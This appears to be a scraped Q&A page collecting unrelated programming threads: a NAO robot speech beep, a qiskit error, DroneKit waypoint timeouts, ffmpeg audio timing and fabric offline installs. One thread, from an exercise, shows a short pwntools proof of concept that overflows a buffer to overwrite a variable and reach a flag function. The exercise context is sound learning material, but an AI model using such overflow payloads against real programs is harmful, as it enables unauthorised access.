I get a suspicious short (100ms ?) beep sound after every phrase (stringToSay) executed with:
void ALTextToSpeechProxy::say(const std::string& stringToSay);
I get it only on my newer V6 robot, not on the old one V5. I have experienced it when running C++ compiled module, but the phenomenon may be easily observed even with the following simple .py code, executed on the robot. It's like after "hello" comes a short break and then a beep.
#! /usr/bin/env python
import qi
import sys
def main(session):
tts = session.service("ALTextToSpeech")
tts.say("hello")
session = qi.Session()
session.connect("tcp://127.0.0.1:9559")
main(session)
I have finally solved the BEEP problem by simply upgrading the original NAOqi 2.8.4.2 to the latest version 2.8.6.23. I did it with robot_settings app.
Could anybody tell me if one observes a beep following the word "hello" when running the enclosed simple code on one's robot? The NAOqi version I'm running is 2.8.4.2.
#! /usr/bin/env python
import qi
import sys
session = qi.Session()
session.connect("tcp://127.0.0.1:9559")
tts = session.service("ALTextToSpeech")
tts.say("hello")
Related
I am running my old qiskit code after a very long time it's not running now showing error wrong color format 'ansibrightred' and I don't know why?
from qiskit import QuantumCircuit, QuantumRegister, ClassicalRegister
# %matplotlib inline
circuit = QuantumCircuit(3,3)
circuit.h(0)
circuit.h(1)
circuit.h(2)
circuit.measure([0,1], [0,1])
I ran into the same problem. I solved it by removing my install and installing qiskit==0.16.2.
pip install qiskit==0.16.2
I am trying, as part of an exercise, to exploit a simple program by overwriting a value of a variable though a buffer overflow. I am pretty sure I have the idea behind the exploit figured out, but since I am unable to inject my code I can't know for sure.
I have tried to build a script that uses Pwntools which is good for packing integers but I haven't managed to get it to work. I also tried to read up about TTY and how you could manipulate what the terminal sends to the process.
A simple pseudocode of the program that I am exploiting:
returnFlag() {
print(flag)
}
main() {
char[8] = input
id = 999999
input = fgets()
if (id = 0) {
returnFlag()
}
}
My plan is to overflow the variable input and overwrite the value of id with 0 so it the function returnFlag() is executed. But when I input for example "AAAA\x00\x00\x00" I only get gibberish when I look at the memory with GDB.
This problem has driven me crazy for the last 1,5 weeks and any help would be greatly appreciated.
So I figured out how to solve the problem. Hopefully this will help someone else as well.
The problem was that I did not know how to send the "exploit code" because it's made up by nulls. Fortunately there is a neat tool called Pwntools link that helps you just with that.
With that tool you can interact with the program and "pack" integers so that you can send all the types of bytes necessary, including null-bytes.
A simple POC using Pwntools to exploit the program above, lets call it vuln, would look like:
#! /usr/bin/env python2
# Importerar rubbet
from pwnlib import *
from pwnlib.tubes.remote import *
from pwnlib.util.packing import *
from pwnlib.gdb import *
context.bits= '32'
context.endian= 'little'
context.log_level = 'debug'
pl = fit({0:'1', 8:[0x00000000]})
io = process('/vuln')
io.sendline(pl)
print(io.recvlines(1))
So I first import all the libs, set up the environment that I am trying to exploit with context. Then I use the fit-function. It packs all of my input in a way that I can send it to the program. I am still trying to figure out what fit is doing behind the scenes.
With both DKPy-SITL and our APM2 board, the wait_ready method is causing our program to raise an API Exception due to the command list (waypoints) taking too long to download. In the past (with droneapi) this wasn't an issue for me. Some waypoints are being downloaded, but the process takes about 10 seconds for each one, which leads me to believe something weird is going on.
Are there any ways to speed up the download process? I've posted the relevant code below.
self.vehicle = connect(connection_string, baud=baud_rate,
status_printer=dronekit_printer, wait_ready=True)
and later in another asynchronous method
def commands(self):
commands = self.vehicle.commands
commands.download()
commands.wait_ready()
return commands
The error occurs on commands.wait_ready(). There has to be a faster way to download commands than sitting there for over 30 seconds on an i7 4790k processor, especially since I've run the same code off a slower computer in the past with droneapi. If need be, I can raise an issue on the dronekit github as well.
I had the same issue. First time download call always goes well (0 commands). Once you have uploaded some commands the second time you try to download it fails ('Timeout' exception).
What I did to solve this was calling clear without download after the first time.
Something like this:
cmds = vehicle.commands
if not cmds.count > 0:
# Download
cmds.download()
# Wait until download is finished
cmds.wait_ready()
cmds.clear()
# Add / Modify the commands here and then upload them
using this code example (dranger - ffmpeg):
https://github.com/arashafiei/dranger-ffmpeg-tuto/blob/master/tutorial03.c
and dranger tutorial for ffmpeg:
http://dranger.com/ffmpeg/tutorial02.html
The video runs as fast as possible but it makes sense because there is no timer and we just extract the frames as soon as we have them ready. But for some reason, the sound also runs as fast as possible even though he says that it shouldn't.
I'm using mac os x (Maybe that has something to do with it).
Any suggestions?
Try adding:
aCodecCtx = pFormatCtx->streams[audioStream]->codec;
> aCodecCtx->request_sample_fmt = AV_SAMPLE_FMT_S16;
The project I'm working in uses fabric for many build steps and requires a offline build as fallback.
I'm currently stuck at installing python packages provided in tarballs.
The thing is I have trouble getting into the newly extracted directory and running setup.py install in there.
#task
def deploy_artifacts():
"""Installs dependencies from local path, useful for offline builds"""
#TODO: Handle downloading files and do something like this bellow
tmpdir = tempfile.mkdtemp()
artifacts_path = ''
if not 'http' in env.artifacts_path:
artifacts_path = env.artifacts_path
with lcd(artifacts_path):
for f in os.listdir(artifacts_path):
if 'gz' in f:
put(f, tmpdir)
tar = os.path.join(tmpdir, f)
target_dir = os.path.join(tempfile.gettempdir(), normalize(f))
if not files.exists(target_dir):
run('mkdir %s' % target_dir)
else:
run('rm -rf %s' %target_dir)
run('mkdir %s' % target_dir)
run('tar xf %s -C %s' % (tar, target_dir))
run('rm %s' % tar)
with cd(target_dir):
sudo('python setup.py install')
I come from reading the tar man page for the bazillion time and I got nowhere near to getting what I want.
Did some of you face a situation like this? is there some other (read: better) approach to this scenario?
There's nothing wrong (in principle) with what you're trying do. Maybe just take smaller steps getting there. Rather than using temporary directories, it might make debugging easier if everything was put in a systematic location that has known permissions that nothing else writes to by convention. At least that would let you use some combination of fabric and manual intervention to check what is going wrong.
In the longer term, there are a few alternatives that I see. For simplicity you want the online and offline versions to work the same way, and that means fetching packages using easy_install / pip for both cases.
One way to do this is to build a mirror of PyPi. The right way to do this if you've got plenty of storage space (30Gb) is to use software that implements PEP381 (Mirroring Infrastructure for PyPI), there is already a client that does this (pep381client). A number of other projects are available that do similar things (basketweaver, djangopypi2, chishop).
An alternative is to consider a lighter weight proxying scheme. I've been looking a pip2pi and pipli. I'm unsure if they will work directly with easy_install, but it would be worth a try.
It's also worth noting that if you were using pip, you could have installed directly from the tarballs.